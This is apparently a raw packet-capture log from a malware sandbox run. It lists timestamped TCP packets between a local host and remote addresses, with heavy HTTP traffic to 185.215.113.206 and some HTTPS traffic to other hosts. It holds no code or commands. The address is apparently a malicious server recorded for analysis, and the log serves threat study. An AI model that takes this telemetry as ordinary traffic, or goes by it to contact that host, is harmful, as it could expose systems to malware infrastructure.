Oct 30, 2024 04:34:43.128161907 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.128217936 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.128230095 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.128240108 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.128278971 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.128278971 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.160249949 CET	443	51040	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:43.160569906 CET	51040	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:43.160583019 CET	443	51040	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:43.160923958 CET	443	51040	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:43.161247969 CET	51040	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:43.161309004 CET	443	51040	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:43.161396027 CET	51040	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:43.161478043 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.161511898 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.161521912 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.161530972 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.161564112 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.161564112 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.161565065 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.161602974 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.161613941 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.161663055 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.161771059 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.161798000 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.161808968 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.161823034 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.161859989 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.161859989 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.161941051 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.161976099 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.161987066 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.162009001 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.162009001 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.162043095 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.162074089 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.162087917 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.162132978 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.162132978 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.162313938 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.162329912 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.162365913 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.162365913 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.162422895 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.162457943 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.162470102 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.162472010 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.162504911 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.162528038 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.162539959 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.162579060 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.162838936 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.162852049 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.162863016 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.162904024 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.162904024 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.162951946 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.162962914 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.162974119 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.162985086 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.163009882 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.163036108 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.163038969 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.163083076 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.163361073 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.163414001 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.163414955 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.163429022 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.163445950 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.163469076 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.163469076 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.163520098 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.168701887 CET	51065	443	192.168.2.6	23.198.7.184
Oct 30, 2024 04:34:43.168724060 CET	443	51065	23.198.7.184	192.168.2.6
Oct 30, 2024 04:34:43.170778990 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.170835972 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.170855999 CET	51056	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.170871973 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.170892954 CET	51056	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.170917034 CET	51056	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.171211958 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.171272993 CET	51056	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.171278954 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.171380043 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.171677113 CET	51056	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.174309015 CET	51056	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:43.174319983 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:43.197493076 CET	51064	443	192.168.2.6	23.198.7.184
Oct 30, 2024 04:34:43.197503090 CET	443	51064	23.198.7.184	192.168.2.6
Oct 30, 2024 04:34:43.207340002 CET	443	51040	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:43.238148928 CET	443	51063	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.238446951 CET	443	51063	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.238508940 CET	443	51069	23.198.7.176	192.168.2.6
Oct 30, 2024 04:34:43.238555908 CET	51063	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.238773108 CET	51063	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.238781929 CET	443	51063	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.238792896 CET	51063	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.238795996 CET	51069	443	192.168.2.6	23.198.7.176
Oct 30, 2024 04:34:43.238797903 CET	443	51063	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.238806963 CET	443	51069	23.198.7.176	192.168.2.6
Oct 30, 2024 04:34:43.239862919 CET	443	51069	23.198.7.176	192.168.2.6
Oct 30, 2024 04:34:43.239923000 CET	51069	443	192.168.2.6	23.198.7.176
Oct 30, 2024 04:34:43.240956068 CET	51069	443	192.168.2.6	23.198.7.176
Oct 30, 2024 04:34:43.241018057 CET	443	51069	23.198.7.176	192.168.2.6
Oct 30, 2024 04:34:43.242474079 CET	51078	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.242485046 CET	443	51078	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.242681026 CET	51078	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.242852926 CET	51078	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.242863894 CET	443	51078	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.249217033 CET	443	51067	204.79.197.219	192.168.2.6
Oct 30, 2024 04:34:43.249674082 CET	51067	443	192.168.2.6	204.79.197.219
Oct 30, 2024 04:34:43.249692917 CET	443	51067	204.79.197.219	192.168.2.6
Oct 30, 2024 04:34:43.250731945 CET	443	51067	204.79.197.219	192.168.2.6
Oct 30, 2024 04:34:43.250835896 CET	51067	443	192.168.2.6	204.79.197.219
Oct 30, 2024 04:34:43.251079082 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.251097918 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.251108885 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.251147985 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.251183033 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.251261950 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.251310110 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.251318932 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.251332998 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.251358032 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.251384974 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.251389027 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.251421928 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.251432896 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.251471043 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.251518965 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.252103090 CET	51067	443	192.168.2.6	204.79.197.219
Oct 30, 2024 04:34:43.252181053 CET	443	51067	204.79.197.219	192.168.2.6
Oct 30, 2024 04:34:43.254285097 CET	443	51066	204.79.197.219	192.168.2.6
Oct 30, 2024 04:34:43.254585028 CET	51066	443	192.168.2.6	204.79.197.219
Oct 30, 2024 04:34:43.254592896 CET	443	51066	204.79.197.219	192.168.2.6
Oct 30, 2024 04:34:43.255656004 CET	443	51066	204.79.197.219	192.168.2.6
Oct 30, 2024 04:34:43.255721092 CET	51066	443	192.168.2.6	204.79.197.219
Oct 30, 2024 04:34:43.255992889 CET	51066	443	192.168.2.6	204.79.197.219
Oct 30, 2024 04:34:43.256051064 CET	443	51066	204.79.197.219	192.168.2.6
Oct 30, 2024 04:34:43.258193016 CET	443	51068	23.198.7.176	192.168.2.6
Oct 30, 2024 04:34:43.258405924 CET	51068	443	192.168.2.6	23.198.7.176
Oct 30, 2024 04:34:43.258424997 CET	443	51068	23.198.7.176	192.168.2.6
Oct 30, 2024 04:34:43.259888887 CET	443	51068	23.198.7.176	192.168.2.6
Oct 30, 2024 04:34:43.259958982 CET	51068	443	192.168.2.6	23.198.7.176
Oct 30, 2024 04:34:43.260308981 CET	51068	443	192.168.2.6	23.198.7.176
Oct 30, 2024 04:34:43.260407925 CET	443	51068	23.198.7.176	192.168.2.6
Oct 30, 2024 04:34:43.260526896 CET	51068	443	192.168.2.6	23.198.7.176
Oct 30, 2024 04:34:43.260543108 CET	443	51068	23.198.7.176	192.168.2.6
Oct 30, 2024 04:34:43.285404921 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.285425901 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.285438061 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.285496950 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.285496950 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.285509109 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.285521030 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.285526037 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.285535097 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.285568953 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.285602093 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.285620928 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.285634041 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.285662889 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.285676003 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.285686970 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.285702944 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.285737038 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.285737991 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.285782099 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.285816908 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.285834074 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.285845995 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.285857916 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.285861969 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.285895109 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.285895109 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.285988092 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.286000013 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.286010027 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.286021948 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.286032915 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.286034107 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.286057949 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.286087990 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.286576033 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.286598921 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.286624908 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.286652088 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.286689997 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.286701918 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.286734104 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.286736012 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.286770105 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.286770105 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.286806107 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.286815882 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.286827087 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.286835909 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.286869049 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.286900997 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.291651011 CET	443	51040	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:43.291740894 CET	443	51040	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:43.291800022 CET	51040	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:43.294116974 CET	51040	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:43.294142008 CET	443	51040	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:43.326406002 CET	51064	443	192.168.2.6	23.198.7.184
Oct 30, 2024 04:34:43.326433897 CET	51066	443	192.168.2.6	204.79.197.219
Oct 30, 2024 04:34:43.326435089 CET	51068	443	192.168.2.6	23.198.7.176
Oct 30, 2024 04:34:43.326442003 CET	443	51066	204.79.197.219	192.168.2.6
Oct 30, 2024 04:34:43.328054905 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.328094959 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.328114986 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.328147888 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.373193979 CET	51069	443	192.168.2.6	23.198.7.176
Oct 30, 2024 04:34:43.373193979 CET	51065	443	192.168.2.6	23.198.7.184
Oct 30, 2024 04:34:43.373207092 CET	51067	443	192.168.2.6	204.79.197.219
Oct 30, 2024 04:34:43.373209953 CET	443	51069	23.198.7.176	192.168.2.6
Oct 30, 2024 04:34:43.373217106 CET	443	51067	204.79.197.219	192.168.2.6
Oct 30, 2024 04:34:43.374253988 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.374265909 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.374314070 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.383528948 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.383542061 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.383553028 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.383611917 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.383624077 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.383635044 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.383645058 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.383645058 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.383687973 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.383687973 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.393738985 CET	443	51070	18.245.113.41	192.168.2.6
Oct 30, 2024 04:34:43.408413887 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.408448935 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.408466101 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.408488989 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.408523083 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.408562899 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.408575058 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.408576965 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.408623934 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.408639908 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.408653021 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.408711910 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.408898115 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.408910036 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.408920050 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.408942938 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.408972979 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.409025908 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.409085989 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.409096956 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.409126043 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.409141064 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.409141064 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.409176111 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.409298897 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.409364939 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.409378052 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.409405947 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.409410000 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.409445047 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.409475088 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.409569979 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.409601927 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.409614086 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.409645081 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.409674883 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.409733057 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.409744978 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.409756899 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.409769058 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.409790993 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.409821033 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.409842968 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.409889936 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.410181046 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.410197020 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.410211086 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.410260916 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.410260916 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.410303116 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.410326004 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.410337925 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.410347939 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.410358906 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.410418987 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.410418987 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.410460949 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.415436983 CET	51070	443	192.168.2.6	18.245.113.41
Oct 30, 2024 04:34:43.415450096 CET	443	51070	18.245.113.41	192.168.2.6
Oct 30, 2024 04:34:43.415942907 CET	443	51070	18.245.113.41	192.168.2.6
Oct 30, 2024 04:34:43.416739941 CET	51070	443	192.168.2.6	18.245.113.41
Oct 30, 2024 04:34:43.416811943 CET	443	51070	18.245.113.41	192.168.2.6
Oct 30, 2024 04:34:43.416913986 CET	51070	443	192.168.2.6	18.245.113.41
Oct 30, 2024 04:34:43.434051991 CET	51066	443	192.168.2.6	204.79.197.219
Oct 30, 2024 04:34:43.438694000 CET	443	51068	23.198.7.176	192.168.2.6
Oct 30, 2024 04:34:43.438930988 CET	443	51068	23.198.7.176	192.168.2.6
Oct 30, 2024 04:34:43.438992977 CET	51068	443	192.168.2.6	23.198.7.176
Oct 30, 2024 04:34:43.441123962 CET	51068	443	192.168.2.6	23.198.7.176
Oct 30, 2024 04:34:43.441143036 CET	443	51068	23.198.7.176	192.168.2.6
Oct 30, 2024 04:34:43.448925018 CET	51079	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:43.448940039 CET	443	51079	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:43.449074030 CET	51079	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:43.451613903 CET	51079	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:43.451626062 CET	443	51079	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:43.463326931 CET	443	51070	18.245.113.41	192.168.2.6
Oct 30, 2024 04:34:43.492001057 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.492021084 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.492085934 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.497509003 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.497524977 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.497545958 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.497556925 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.497610092 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.497639894 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.497739077 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.497844934 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.497858047 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.497873068 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.497889996 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.497895002 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.497937918 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.497937918 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.497944117 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.497962952 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.498009920 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.531689882 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.531713009 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.531742096 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.531789064 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.531821012 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.531836987 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.531848907 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.531860113 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.531892061 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.531924009 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.531935930 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.531948090 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.531958103 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.531975031 CET	80	50987	185.215.113.206	192.168.2.6
